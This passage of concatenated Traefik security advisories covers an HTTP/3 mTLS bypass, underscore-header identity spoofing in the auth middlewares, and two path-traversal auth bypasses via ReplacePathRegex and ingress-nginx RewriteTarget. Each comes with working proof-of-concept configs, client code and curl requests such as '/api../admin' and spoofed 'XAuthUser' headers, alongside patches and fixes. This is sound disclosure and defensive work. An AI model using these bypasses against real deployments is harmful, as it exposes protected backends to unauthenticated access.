go func (r Router) GetTLSGetClientInfo() func(info tls.ClientHelloInfo) (tls.Config, error) { return func(info tls.ClientHelloInfo) (tls.Config, error) { if tlsConfig, ok := r.hostHTTPTLSConfig[info.ServerName]; ok { return tlsConfig, nil }
return r.httpsTLSConfig, nil } }
That creates two mismatches:
- wildcard keys such as .example.com are never matched for api.example.com - lower-case router keys such as api.example.com are not matched for mixed-case SNI such as API.EXAMPLE.COM
On the later HTTP request path, the same host can still match wildcard or case-insensitive Host rules through the muxer. The HTTP/3 TLS handshake path falls back to the default TLS config before that routing decision happens. If the default TLS config does not require a client certificate, the QUIC handshake succeeds without mTLS, and the later HTTP router still routes to the protected backend.
Preconditions:
- HTTP/3 is enabled on the affected entrypoint. - A router-specific TLSOptions configuration enforces client certificate authentication. - The default/fallback TLS configuration does not require client certificates. - UDP access to the HTTP/3 entrypoint is reachable by the attacker.
Minimal wildcard dynamic configuration:
yaml http: routers: protected: rule: Host(.example.com) service: protected tls: options: mtls
services: protected: loadBalancer: servers: - url: http://protected:80
tls: certificates: - certFile: /certs/server.crt keyFile: /certs/server.key
options: mtls: clientAuth: caFiles: - /certs/ca.crt clientAuthType: RequireAndVerifyClientCert
Minimal exact-host dynamic configuration:
yaml http: routers: protected: rule: Host(api.example.com) service: protected tls: options: mtls
services: protected: loadBalancer: servers: - url: http://protected:80
tls: certificates: - certFile: /certs/server.crt keyFile: /certs/server.key
options: mtls: clientAuth: caFiles: - /certs/ca.crt clientAuthType: RequireAndVerifyClientCert
Minimal Docker Compose:
yaml services: traefik: image: traefik:v3.7.1 command: - --log.level=DEBUG - --entrypoints.websecure.address=:8443 - --entrypoints.websecure.http3 - --providers.file.filename=/etc/traefik/dynamic.yml - --providers.file.watch=false ports: - "8443:8443/tcp" - "8443:8443/udp" volumes: - ./dynamic.yml:/etc/traefik/dynamic.yml:ro - ./certs:/certs:ro dependson: - protected
protected: image: traefik/whoami:v1.11 command: - --name=PROTECTED
Certificate generation:
bash rm -rf certs mkdir -p certs
openssl req -x509 -newkey rsa:2048 -nodes -days 7 -keyout certs/ca.key -out certs/ca.crt -subj "/CN=traefik-poc-ca"
openssl req -newkey rsa:2048 -nodes -keyout certs/server.key -out certs/server.csr -subj "/CN=api.example.com" -addext "subjectAltName=DNS:api.example.com,DNS:.example.com"
openssl x509 -req -in certs/server.csr -CA certs/ca.crt -CAkey certs/ca.key -CAcreateserial -out certs/server.crt -days 7 -sha256 -copyextensions copyall
The mixed-case HTTP/3 client used for the exact-host case:
go package main
import ( "crypto/tls" "fmt" "io" "net/http" "os" "time"
"github.com/quic-go/quic-go/http3" )
func main() { serverName := os.Getenv("TLSSERVERNAME") if serverName == "" { serverName = "API.EXAMPLE.COM" }
host := os.Getenv("HTTPHOST") if host == "" { host = "API.EXAMPLE.COM" }
tr := &http3.Transport{ TLSClientConfig: &tls.Config{ ServerName: serverName, InsecureSkipVerify: true, }, } defer tr.Close()
client := &http.Client{Transport: tr, Timeout: 8 time.Second}
req, err := http.NewRequest(http.MethodGet, "https://127.0.0.1:8443/", nil) if err != nil { panic(err) } req.Host = host
resp, err := client.Do(req) if err != nil { fmt.Fprintln(os.Stderr, err) os.Exit(1) } defer resp.Body.Close()
fmt.Println(resp.Proto, resp.StatusCode) body, := io.ReadAll(resp.Body) fmt.Print(string(body)) }
PoC
Wildcard bypass:
1. Start Traefik with the wildcard dynamic configuration above. 2. Control over TCP/TLS:
bash curl --noproxy '' --http2 -skv --resolve api.example.com:8443:127.0.0.1 https://api.example.com:8443/
Observed result:
text TLS alert ... certificate required
3. HTTP/3 bypass:
bash curl --noproxy '' --http3-only -skv --resolve api.example.com:8443:127.0.0.1 https://api.example.com:8443/
Observed result:
text HTTP/3 200 Name: PROTECTED Host: api.example.com:8443
Exact-host mixed-case bypass:
1. Start Traefik with the exact-host dynamic configuration above. 2. Control over TCP/TLS:
bash curl --noproxy '' --http2 -skv --resolve api.example.com:8443:127.0.0.1 https://api.example.com:8443/
Observed result:
text TLS alert ... certificate required
3. Mixed-case HTTP/2 control:
bash curl --noproxy '' --http2 -skv --resolve API.EXAMPLE.COM:8443:127.0.0.1 https://API.EXAMPLE.COM:8443/
Observed result:
text TLS alert ... certificate required
This control confirms that the bypass is specific to the HTTP/3 TLS configuration selection path in this test setup. The HTTP/2 request to the same mixed-case hostname still fails with certificate required.
4. HTTP/3 bypass with the same mixed-case hostname:
bash TLSSERVERNAME=API.EXAMPLE.COM HTTPHOST=API.EXAMPLE.COM go run ./h3-case-client.go
Observed result:
text HTTP/3.0 200 Name: PROTECTED Host: API.EXAMPLE.COM
Local regression tests used during validation:
bash go test ./pkg/server/router/tcp -run 'TestGetTLSGetClientInfo(WildcardCurrentBehavior|ExactHostCaseSensitivityCurrentBehavior)$' -count=1
These tests were added locally during analysis to demonstrate the current behavior of GetTLSGetClientInfo(). They are not required to reproduce the issue; the Docker and curl/HTTP3 commands above are the end-to-end reproduction.
Version matrix observed with Docker images:
text wildcard H3 bypass: affected on v3.7.0 and v3.7.1 exact-case H3 bypass: affected on v3.6.17, v3.7.0, and v3.7.1
The wildcard case was tested on v3.7.x because wildcard Host / HostSNI matching and TLSOptions association for wildcard domains were introduced in v3.7.0.
Impact
Deployments that use router TLSOptions as an access-control boundary for HTTP/3 can expose protected backends without client authentication.
The highest-impact case is mTLS:
- normal HTTP/2/TCP access to the protected host requires a client certificate - HTTP/3 access to the same route falls back to the default TLS config - the request is then routed to the protected backend without satisfying the route's mTLS policy
This can expose confidential data or privileged backend operations to unauthenticated network clients. The issue is especially severe because it does not require credentials, user interaction, or a prior foothold.
Possible workarounds until a fix is available:
- Disable HTTP/3 on entrypoints that rely on router-specific mTLS. - Enforce mTLS in the default TLS options as well, so fallback TLS configuration is not weaker than router-specific configuration. - Block UDP access to the HTTP/3 entrypoint. - Enforce client authentication at an additional layer behind Traefik.
</details>
---
Summary
There is a high severity vulnerability in Traefik's BasicAuth, DigestAuth, and ForwardAuth middlewares. The fix for CVE-2026-33433 stripped canonical-cased spoofed identity headers (e.g. X-Auth-User) before writing Traefik's own value, but did not account for underscore-variant header names (e.g. XAuthUser), which many backends normalize identically to the dashed form. An attacker able to reach a protected route could inject an underscore-variant header that survives Traefik's stripping and reaches the backend alongside — or, on the unauthenticated ForwardAuth authResponseHeaders path, instead of — the value Traefik intended to set, spoofing identity or authorization context. This is fixed by setting the new allowHeadersWithUnderscores: false entry point option, which strips all headers with underscores in their names before routing.
Patches
- https://github.com/traefik/traefik/releases/tag/v2.11.51 - https://github.com/traefik/traefik/releases/tag/v3.6.22 - https://github.com/traefik/traefik/releases/tag/v3.7.6
For more information
If you have any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary>
Incomplete fix for CVE-2026-33433 + CVE-2026-39858 cross-cohort: headerField underscore-variant identity spoofing in BasicAuth / DigestAuth / ForwardAuth
Summary
The fix for CVE-2026-33433 (GHSA-qr99-7898-vr7c, "BasicAuth/DigestAuth Identity Spoofing via Non-Canonical headerField", patched in v2.11.42 / v3.6.12 / v3.7.0-ea.3) added req.Header.Del(headerField) before the literal-key writeback in pkg/middlewares/auth/basicauth.go and pkg/middlewares/auth/digestauth.go. Go's Header.Del calls textproto.CanonicalMIMEHeaderKey which canonicalizes ASCII CASE and treats - as a word separator — so the fix correctly strips canonical-cased attacker headers (X-Auth-User, x-auth-user, X-AUTH-USER, etc.).
However, textproto.CanonicalMIMEHeaderKey does NOT treat as a separator. Attacker-supplied underscore-variant headers such as XAuthUser survive Header.Del("X-Auth-User") intact and are forwarded to the backend alongside Traefik's own writeback. Many common backends (CGI/WSGI per RFC 3875, PHP $SERVER, nginx with underscoresinheaders on, Tomcat / Java EE servlet containers, ASGI/WSGI frameworks) normalize ↔ - equivalently or expose both forms to application code that may read the attacker's value.
This is the direct cross-cohort sibling of the threat model the maintainer accepted in CVE-2026-39858 (GHSA-5m6w-wvh7-57vm, "Forwarded alias spoofing pre-auth decision bypass"), which fixed the underscore-variant of the X-Forwarded- family via isManagedXHeader in pkg/middlewares/forwardedheaders/forwardedheader.go. The CVE-2026-39858 advisory body states verbatim:
"When the backend normalizes underscore and dash header forms equivalently, an attacker can inject spoofed trust context — such as a trusted scheme or host — through the alias headers and bypass authentication on protected routes without valid credentials."
The same threat model applies to the operator-configurable headerField (BasicAuth, DigestAuth) and authResponseHeaders (ForwardAuth, ingress-nginx snippet provider), but the underscore-handling primitive (isManagedXHeader) was not extended to those middlewares. I verified the bypass end-to-end on traefik:v3.6.14 (the latest patched release containing both fixes) using a default-recommended canonical headerField: "X-Auth-User" config and reproduced the bypass with a single curl -H "XAuthUser: superadmin" ... request alongside valid BasicAuth credentials.
The defect is present in four code paths at HEAD eec68dce064f843b4317c4393aaea81b6dea31d6:
1. pkg/middlewares/auth/basicauth.go:101-105 — BasicAuth headerField 2. pkg/middlewares/auth/digestauth.go:99-103 — DigestAuth headerField 3. pkg/middlewares/auth/forward.go:304-310 — ForwardAuth authResponseHeaders per-name writeback 4. pkg/middlewares/ingressnginx/snippet/snippet.go:480-486 — Ingress-NGINX snippet authResponseHeaders per-name writeback
The ForwardAuth instance (#3) is particularly notable: the attacker does NOT need credentials. The authResponseHeaders mechanism is intended to copy identity headers from the trusted auth server only; the underscore-variant bypass lets an unauthenticated attacker pre-inject the same identity header before any auth happens.
The fast proxy at pkg/proxy/fast/proxy.go:139 explicitly calls DisableNormalizing() on the outgoing fasthttp request, guaranteeing that the underscore-variant header reaches the backend wire verbatim. The standard httputil.ReverseProxy path at pkg/proxy/httputil/proxy.go:55 likewise copies req.Header keys as-is during the wire write.
Affected versions
- traefik v3.6.x ≤ 3.6.14, v3.7.x ≤ 3.7.0-rc.2, v2.11.x ≤ 2.11.43, and all earlier versions sharing the same auth middleware architecture.
The defect is present at HEAD post-CVE-2026-33433 fix (the fix added the Del line but the literal-key write defect-class survives for underscore variants).
Root cause
In pkg/middlewares/auth/basicauth.go at HEAD eec68dc:
go if b.headerField != "" { // TODO Deprecated we should add the header with canonical key. req.Header.Del(b.headerField) req.Header[b.headerField] = []string{user} }
The TODO comment shows the maintainer is aware of the literal-key write problem in general (canonical-key write would solve the case-canonicalization issue more cleanly than the current Del + literal-write pair). The comment does not acknowledge the underscore-variant survival corollary.
pkg/middlewares/auth/digestauth.go:99-103 and the two ForwardAuth paths follow the same Del + literal-write pattern. Each is independently exploitable; the underlying primitive defect is shared.
The maintainer's gold-standard primitive for handling this exact threat class is pkg/middlewares/forwardedheaders/forwardedheader.go:53-66:
go func isManagedXHeader(key string) bool { if len(key) == 0 || key[0] != 'X' { return false } if , ok := XHeadersSet[key]; ok { return true } if strings.IndexByte(key, '') < 0 { return false } canonical := http.CanonicalHeaderKey(strings.ReplaceAll(key, "", "-")) , ok := XHeadersSet[canonical] return ok }
This treats ↔ - equivalence as a security requirement. It is reachable only via the static XHeadersSet membership check, which contains exclusively the X-Forwarded- family + X-Real-Ip. Operator-configurable identity headers are out of scope of this primitive.
Proof of concept
Verified on traefik:v3.6.14 (the patched version, post-CVE-2026-33433 and post-CVE-2026-39858) using Docker compose. Full reproducer at https://github.com/<attacker-repo>/traefik-ht1a-poc; commands below are verbatim.
Setup
yaml docker-compose.yml services: traefik: image: traefik:v3.6.14 command: - --providers.file.filename=/etc/traefik/dynamic.yml - --entrypoints.web.address=:80 ports: - "8080:80" volumes: - ./traefik/dynamic.yml:/etc/traefik/dynamic.yml:ro echo: image: mendhak/http-https-echo:36 environment: - HTTPPORT=8888
yaml traefik/dynamic.yml — canonical headerField, recommended operator config http: routers: protected: rule: "PathPrefix(/)" service: echo middlewares: [basic-auth] services: echo: loadBalancer: servers: [{url: "http://echo:8888"}] middlewares: basic-auth: basicAuth: users: - 'alice:$2b$05$FhDfYidZdDPuQjovYqcTAe22wHpQ/cILC7Tr2yAD6vLlvZh/Q45PC' # alice:secret123 headerField: "X-Auth-User"
docker compose up -d.
Test 1 (control — CVE-2026-33433 fix works for canonical case)
bash $ curl -s -u alice:secret123 -H "X-Auth-User: superadmin" http://localhost:8080/ { ... "x-auth-user": "alice", ... }
The attacker's canonical X-Auth-User: superadmin was correctly stripped by Traefik's Del; the backend receives only Traefik's authenticated-user writeback alice.
Test 2 (HT-1A bypass — underscore variant survives)
bash $ curl -s -u alice:secret123 -H "XAuthUser: superadmin" http://localhost:8080/ { ... "x-auth-user": "alice", "xauthuser": "superadmin", ... }
The underscore-variant xauthuser: superadmin reached the backend intact, despite the Del("X-Auth-User") having executed. The backend sees both forms.
Test 3 (double-send — same result)
bash $ curl -s -u alice:secret123 \ -H "X-Auth-User: superadmin" \ -H "XAuthUser: superadmin" \ http://localhost:8080/ { ... "x-auth-user": "alice", # Traefik's writeback "xauthuser": "superadmin", # attacker's underscore — survived Del ... }
The canonical attacker header is stripped (Test 1 behavior). The underscore variant is forwarded.
Backend impact
The PoC's echo backend (mendhak/http-https-echo, Node.js) preserves both forms with the lowercase normalization Node.js applies. Application code reading req.headers["x-auth-user"] sees alice. Application code reading req.headers["xauthuser"] sees superadmin.
For backends that normalize ↔ - equivalently — meaning the attacker's value wins:
- CGI / WSGI / PHP $SERVER (RFC 3875 §4.1.18 — header name uppercased with - replaced by ): both X-Auth-User and XAuthUser map to HTTPXAUTHUSER. The last-set wins per the WSGI server's iteration order; many servers (gunicorn, uwsgi without --disable-logging, waitress) preserve both. Note: Apache + modphp with default HttpProtocolOptions Strict filters underscore-headers from $SERVER (this PoC's PHP backend test demonstrated the filter); Apache + modpython, Apache + modwsgi without the strict mode, nginx + uwsgi, nginx + gunicorn, nginx + FastCGI, and standalone WSGI servers do NOT filter. - nginx with underscoresinheaders on (https://nginx.org/en/docs/http/ngxhttpcoremodule.html#underscoresinheaders): preserves underscore-variant headers and forwards them to upstream as separate values. Upstream application logic that does case-insensitive + underscore-insensitive matching (common pattern in security-sensitive code) merges them. - Tomcat / Java EE servlet containers: HttpServletRequest.getHeader(name) is case-insensitive; underscore handling is container-specific. Many normalize. - Application middleware (WAFs, log aggregators, security gateways, identity-aware proxies) that normalize header names before applying security policy: both forms collapse to the same authorization decision input.
Severity
I propose HIGH CVSS 7.5 for the BasicAuth / DigestAuth case and CRITICAL CVSS 9.1 for the ForwardAuth authResponseHeaders case (the latter requires no credentials).
CVSS 3.1 vector (BasicAuth / DigestAuth): AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N=7.5 — one step above CVE-2026-33433 (which the maintainer scored MEDIUM 5.1 because it required misconfigured non-canonical headerField). HT-1A works against the canonical / recommended headerField configuration, broader operational scope.
CVSS 3.1 vector (ForwardAuth authResponseHeaders): AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N=9.1 — parallel to CVE-2026-39858 (HIGH 7.5) but achieves spoofing without credentials because the authResponseHeaders mechanism trusts headers exclusively from the auth server and the underscore variant defeats that trust boundary.
CWEs: - CWE-290 (Authentication Bypass by Spoofing) - CWE-178 (Improper Handling of Case Sensitivity) — analogous to CVE-2026-29054 - CWE-345 (Insufficient Verification of Data Authenticity) — same as CVE-2026-35051
Suggested fix
Two equivalent approaches:
1. Extend Header.Del to handle underscore variants at the four call sites. Replace:
go req.Header.Del(b.headerField) req.Header[b.headerField] = []string{user}
with:
go canonical := http.CanonicalHeaderKey(b.headerField) // Strip canonical AND underscore-variant of the canonical key. for key := range req.Header { if key == canonical || strings.EqualFold(strings.ReplaceAll(key, "", "-"), canonical) { delete(req.Header, key) } } req.Header.Set(canonical, user) // canonical-key write
This pairs the headerField primitive with the same ↔ - equivalence that isManagedXHeader enforces for X-Forwarded-.
2. Generalize the existing isManagedXHeader primitive into a stripHeaderAndVariants(headers http.Header, name string) helper in the forwardedheaders package and call it from basicauth.go, digestauth.go, forward.go, and snippet.go. Reusing the existing gold-standard primitive is the cleanest fix and minimizes future drift.
Either approach should also resolve the // TODO Deprecated we should add the header with canonical key. debt at basicauth.go:102 and digestauth.go:100 by writing to the canonical key (Header.Set(canonical, user)) instead of the literal b.headerField.
Why this is a Pattern-8 sibling, not a new CVE class
The combination of:
1. CVE-2026-33433's fix scope (case-canonicalization for headerField) 2. CVE-2026-39858's fix scope (underscore-variant for XHeadersSet) 3. The defective primitive remaining at HEAD (the Del + literal-write pair at four call sites)
establishes that the maintainer accepts the threat model and has architectural primitives to fix it — but did not cross the two cohorts. The "primitive depth-audit" of the CVE-2026-33433 fix (reading the actual Header.Del implementation against the documented threat model and Go's canonicalization semantics) reveals the gap.
I confirmed there is no public PoC mentioning underscore-variant siblings of CVE-2026-33433 (WebSearched 2026-05-23). The fix-flurry from the April 2026 security release batch addressed the X-Forwarded family but not the headerField family.
Credit
Matteo Panzeri (GitHub matte1782). CVE credit requested.
AI-assistance disclosure
Static analysis, hypothesis writing, and hostile-review confirmation were assisted by Anthropic Claude (Opus 4.7). Live PoC reproduction, code-citation verification, and submission decision were made by the human author.
</details>
---
Summary
There is a critical authentication-bypass vulnerability in Traefik's ReplacePathRegex middleware. When it is configured with a regular expression that captures user-controlled path segments without a mandatory separator (for example regex: "^/api(.)", replacement: "/$1"), a crafted request can produce an un-normalized replacement path such as /../admin, which Traefik forwarded to the backend without validation. A backend that normalizes the path may resolve it to a protected route, letting an unauthenticated attacker reach resources located behind authentication middleware. This is the same class of issue that was fixed for StripPrefix in CVE-2026-48020; that post-replacement normalization check had not been applied to ReplacePathRegex. The fix rejects any request whose replaced path does not match its normalized form.
Patches
- https://github.com/traefik/traefik/releases/tag/v2.11.52 - https://github.com/traefik/traefik/releases/tag/v3.6.23 - https://github.com/traefik/traefik/releases/tag/v3.7.7
For more information
If you have any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary>
Summary A path traversal vulnerability in the ReplacePathRegex middleware allows an unauthenticated remote attacker to bypass authentication middleware and access protected routes by sending a single crafted HTTP request. The vulnerability exists because ReplacePathRegex does not perform post-replacement path normalization validation - the same check added to StripPrefix in the fix for CVE-2026-48020 was not applied to ReplacePathRegex.
Details When ReplacePathRegex is configured with a regex that captures user-controlled path segments without a mandatory path separator (e.g., regex: "^/api(.)", replacement: "/$1"), an attacker can inject implicit traversal sequences into the capture group.
Root cause: pkg/middlewares/replacepathregex/replacepathregex.go, function ServeHTTP (lines 56-74). After the regex substitution produces a new path, the middleware forwards it to the backend without checking whether the path normalizes differently - unlike StripPrefix which rejects such paths with HTTP 400 after the CVE-2026-48020 fix.
Attack flow:
1. Attacker sends GET /api../admin 2. sanitizePath passes it unchanged (api.. is a valid segment name, not a dot-segment) 3. Router matches PathPrefix(/api) → selects the public router (no auth middleware) 4. ReplacePathRegex applies ^/api(.) → captures ../admin → replacement produces /../admin 5. No normalization check exists → path forwarded to backend as-is 6. Backend framework (Express, Flask, Django, Spring, ASP.NET) normalizes /../admin to /admin 7. Attacker receives protected content without authentication
Suggested fix: Add the same JoinPath equality check after line 67:
go if cleanPath := req.URL.JoinPath(); cleanPath.Path != req.URL.Path { http.Error(rw, http.StatusText(http.StatusBadRequest), http.StatusBadRequest) return }
PoC Prerequisites: Docker Engine 20.10+, Docker Compose v2, curl
1. Create docker-compose.yml:
yaml services: traefik: image: traefik:v3.7.6 command: - "--api.insecure=true" - "--providers.file.filename=/etc/traefik/dynamic.yml" - "--entrypoints.web.address=:80" ports: - "8080:8080" - "80:80" volumes: - ./dynamic.yml:/etc/traefik/dynamic.yml:ro healthcheck: test: ["CMD", "traefik", "healthcheck"] interval: 5s timeout: 3s retries: 5 backend: image: node:22-alpine workingdir: /app volumes: - ./server.js:/app/server.js:ro command: ["node", "server.js"] healthcheck: test: ["CMD", "wget", "-qO-", "http://localhost:3000/health"] interval: 5s timeout: 3s retries: 5
2. Create dynamic.yml:
yaml http: routers: public-api: rule: "PathPrefix(/api)" entryPoints: [web] middlewares: [rewrite-api] service: backend-svc priority: 1 protected-admin: rule: "PathPrefix(/admin)" entryPoints: [web] middlewares: [auth] service: backend-svc priority: 2 middlewares: rewrite-api: replacePathRegex: regex: "^/api(.)" replacement: "/$1" auth: basicAuth: users: - "admin:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/" services: backend-svc: loadBalancer: servers: - url: "http://backend:3000"
3. Create server.js:
javascript const http = require('http'); const path = require('path'); const server = http.createServer((req, res) => { const normalized = path.posix.normalize(req.url.split('?')[0]); res.setHeader('Content-Type', 'text/plain'); if (normalized === '/health') { res.writeHead(200); res.end('OK\n'); } else if (normalized === '/admin' || normalized.startsWith('/admin/')) { res.writeHead(200); res.end(ADMINSECRETDATA (normalized=${normalized})\n); } else { res.writeHead(200); res.end(PUBLIC (normalized=${normalized})\n); } }); server.listen(3000);
4. Run and exploit:
bash docker compose up -d && sleep 5
Confirm auth is enforced: curl -s -o /dev/null -w "%{httpcode}" http://localhost/admin → 401
Auth bypass: curl -s http://localhost/api../admin → ADMINSECRETDATA (normalized=/admin)
URL-encoded variant: curl -s http://localhost/api%2e%2e/admin → ADMINSECRETDATA (normalized=/admin)
Configuration note: The regex ^/api(.) (without slash separator before the capture group) is the exploitable pattern. This is the natural way to write a prefix-strip equivalent with ReplacePathRegex and is functionally identical to StripPrefix("/api") for legitimate traffic. The pattern ^/api/(.) (with mandatory slash) is not exploitable - the same structural narrowing as CVE-2026-48020 where StripPrefix("/api") was vulnerable but StripPrefix("/api/") was not.
Impact Authentication bypass. Any route protected by auth middleware on a separate router (BasicAuth, ForwardAuth, DigestAuth) can be accessed without credentials by an unauthenticated network attacker via a single HTTP request. Both read and write operations (GET/POST/PUT/DELETE) bypass authentication. The vulnerability affects deployments using ReplacePathRegex for prefix stripping - a common, documented configuration pattern.
</details>
---
Summary
There is a high severity vulnerability in Traefik's Kubernetes Ingress NGINX provider. When an Ingress uses the nginx.ingress.kubernetes.io/rewrite-target annotation with a regular expression that captures attacker-controlled text without requiring a path separator (for example path /api(.) with rewrite target /$1), the generated RewriteTarget middleware can turn an initially safe request path into a dot-segment traversal path after the router has already been selected.
Patches
- https://github.com/traefik/traefik/releases/tag/v3.7.8
For more information
If you have any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary>
Summary
Traefik's Kubernetes Ingress NGINX provider creates an internal RewriteTarget middleware for the nginx.ingress.kubernetes.io/rewrite-target annotation. When an Ingress path captures attacker-controlled text without requiring a path separator, the middleware can turn an initially safe path into a dot-segment traversal path after Traefik has already selected the router.
For example, with Ingress path /api(.) and rewrite target /$1, an unauthenticated request to /api../admin follows this flow:
1. The default entry-point path sanitizer leaves /api../admin unchanged because api.. is one ordinary segment. 2. The public router's PathRegexp("(?i)^/api(.)") rule matches. 3. RewriteTarget captures ../admin and creates /../admin. 4. The middleware forwards /../admin without checking whether path normalization changes it. 5. A backend that normalizes paths resolves /../admin to /admin. 6. The request reaches content intended to be reachable only through a separate /admin router with BasicAuth, DigestAuth, or ForwardAuth.
This is an unpatched sibling of GHSA-cxjq-mrr5-89rv, which added post-replacement normalization validation to ReplacePathRegex. The separate ingress-nginx RewriteTarget implementation did not receive the same validation. The bypass remains exploitable in the patched Traefik v3.7.7 release.
Severity
Proposed severity: Critical
CVSS 3.1: 9.1 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
- Attack vector: Network - Attack complexity: Low once the affected routing pattern exists - Privileges required: None - User interaction: None - Scope: Unchanged - Confidentiality: High - Integrity: High - Availability: None
Primary weakness: CWE-22 — Improper Limitation of a Pathname to a Restricted Directory (Path Traversal)
Secondary weakness: CWE-288 — Authentication Bypass Using an Alternate Path or Channel
The practical impact depends on the protected backend paths. If they are read-only or low sensitivity, environmental severity may be lower.
Exploitation Preconditions
- The Kubernetes Ingress NGINX provider is enabled. - A public Ingress uses rewrite-target with a regex that can capture .. adjacent to the matched prefix, such as /api(.) with /$1. - A protected router exposes another path on the same backend, such as /admin, and relies on a Traefik authentication or authorization middleware. - The backend normalizes dot segments before dispatching the request.
These are deployment prerequisites; the remote attacker needs no credentials or special timing.
Affected Components
Confirmed versions
- Traefik v3.7.0 through v3.7.7 - Current master at commit b93f02cd07b79490fb8c8f02e301a7a1ec553195 - Current v3.7 branch at 69259c3acc9d4bdc065cb2e3b83336f7de3e7038
The vulnerable middleware is present in every stable v3.7 release checked. The v2.11 and v3.6 branches do not contain this ingress-nginx RewriteTarget implementation.
Code locations
- pkg/provider/kubernetes/ingress-nginx/middleware.go:257-274 - Converts the Ingress path and rewrite-target annotation directly into dynamic.RewriteTarget configuration. - pkg/middlewares/ingressnginx/rewritetarget/rewritetarget.go:85-157 - Performs capture-based path rewriting and forwards the rewritten path without normalization validation. - pkg/server/middleware/middlewares.go:346-353 - Instantiates the vulnerable middleware in the live HTTP chain.
Root Cause
The provider passes the route regex and annotation replacement into the middleware:
go loc.RewriteTarget = &dynamic.RewriteTarget{ Regex: loc.Path, Replacement: rewrite, }
RewriteTarget.ServeHTTP then derives a path from attacker-controlled capture groups:
go newTarget = rt.regexp.ReplaceAllString(currentPath, rt.replacement)
req.URL.RawPath = newTarget req.URL.Path, err = url.PathUnescape(req.URL.RawPath) req.RequestURI = req.URL.RequestURI()
rt.next.ServeHTTP(rw, req)
There is no invariant check between PathUnescape and forwarding to ensure that req.URL.Path equals its normalized form. Because routing happens before middlewares execute, any protected router that would match the normalized result is never reconsidered.
The core ReplacePathRegex middleware now enforces this invariant by calling req.URL.JoinPath() and returning HTTP 400 when normalization changes the replacement. RewriteTarget implements equivalent capture-based behavior but lacks that check.
Default entryPoints.<name>.http.sanitizePath=true does not prevent this issue. Sanitization occurs before routing and before RewriteTarget creates the traversal sequence.
Impact
An unauthenticated network attacker can bypass route-level authentication or authorization and access protected paths on the backend. Depending on the protected API, this can allow:
- reading administrative or sensitive data; - invoking privileged state-changing endpoints with GET, POST, PUT, PATCH, or DELETE; - bypassing BasicAuth, DigestAuth, ForwardAuth, IP restrictions, or other controls attached only to the protected router; - crossing intended public/protected path boundaries with one HTTP request.
The middleware is method-agnostic, so the issue is not limited to read-only requests.
Proof of Concept
Validation Environment
- Traefik v3.7.7 official Linux amd64 release - Release archive SHA-256 verified as 5c8ff19144683f862c04e8ac01893e8cd94a3519d3d9ca3e6fbd0a7de73261ba - Default sanitizePath=true - Node.js v24 backend - Kubernetes Ingress NGINX provider fed valid Ingress, Service, EndpointSlice, and Secret objects through a local Kubernetes API fixture
No Traefik source files were modified.
1. Create the normalizing backend
Save as backend.js:
javascript const http = require("http"); const path = require("path");
http.createServer((req, res) => { const rawPath = req.url.split("?", 1)[0]; const normalizedPath = path.posix.normalize(rawPath); const protectedPath = normalizedPath === "/admin" || normalizedPath.startsWith("/admin/");
const body = JSON.stringify({ rawPath, normalizedPath, result: protectedPath ? "ADMINSECRETDATA" : "PUBLIC", });
res.writeHead(200, { "Content-Type": "application/json" }); res.end(body); }).listen(19090, "127.0.0.1");
Run it:
bash node backend.js
2. Apply the Kubernetes objects
The ExternalName service makes an externally run Traefik process connect to the local backend. If Traefik runs inside the cluster, replace it with a normal Deployment and ClusterIP Service.
yaml apiVersion: v1 kind: Secret metadata: name: basic-auth namespace: default type: Opaque stringData: auth: | admin:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/ --- apiVersion: v1 kind: Service metadata: name: backend namespace: default spec: type: ExternalName externalName: localhost ports: - name: http port: 19090 targetPort: 19090 --- apiVersion: networking.k8s.io/v1 kind: Ingress metadata: name: public-api namespace: default annotations: kubernetes.io/ingress.class: nginx nginx.ingress.kubernetes.io/use-regex: "true" nginx.ingress.kubernetes.io/rewrite-target: "/$1" spec: rules: - http: paths: - path: /api(.) pathType: ImplementationSpecific backend: service: name: backend port: number: 19090 --- apiVersion: networking.k8s.io/v1 kind: Ingress metadata: name: protected-admin namespace: default annotations: kubernetes.io/ingress.class: nginx nginx.ingress.kubernetes.io/auth-type: basic nginx.ingress.kubernetes.io/auth-secret: basic-auth nginx.ingress.kubernetes.io/auth-realm: Authentication Required spec: rules: - http: paths: - path: /admin pathType: Prefix backend: service: name: backend port: number: 19090
bash kubectl apply -f poc.yaml
3. Run unmodified Traefik v3.7.7
bash KUBECONFIG="$HOME/.kube/config" ./traefik \ --entryPoints.web.address=127.0.0.1:18080 \ --providers.kubernetesIngressNginx.watchNamespace=default \ --providers.kubernetesIngressNginx.httpEntryPoint=web \ --global.checkNewVersion=false \ --log.level=DEBUG
Traefik generates the following relevant dynamic configuration:
json { "rule": "PathRegexp(\"(?i)^/api(.)\")", "middlewares": ["...-rewrite-target"], "rewriteTarget": { "regex": "/api(.)", "replacement": "/$1" } }
The protected router separately contains a BasicAuth middleware and a PathRegexp("(?i)^/admin") rule.
4. Confirm authentication is enforced
bash curl --path-as-is -i http://127.0.0.1:18080/admin
Observed:
text HTTP/1.1 401 Unauthorized
5. Exploit the traversal rewrite
Plain variant:
bash curl --path-as-is -i http://127.0.0.1:18080/api../admin
Observed:
text HTTP/1.1 200 OK {"rawPath":"/../admin","normalizedPath":"/admin","result":"ADMINSECRETDATA"}
Percent-encoded variant:
bash curl --path-as-is -i http://127.0.0.1:18080/api%2e%2e/admin
Observed:
text HTTP/1.1 200 OK {"rawPath":"/../admin","normalizedPath":"/admin","result":"ADMINSECRETDATA"}
The direct request receives 401, while both unauthenticated traversal requests receive the protected content with status 200.
Remediation
Apply the same post-rewrite normalization invariant used by the patched ReplacePathRegex middleware. After decoding RawPath, normalize a copy and reject the request if normalization changes Path:
go path := req.URL.Path if path != "" { req.URL = req.URL.JoinPath() }
if path != req.URL.Path { logger.Debug().Msgf( "Rejecting request, normalized path %q differs from rewritten path %q", req.URL.Path, path, ) http.Error(rw, http.StatusText(http.StatusBadRequest), http.StatusBadRequest) return }
req.RequestURI = req.URL.RequestURI()
Recommended additional actions:
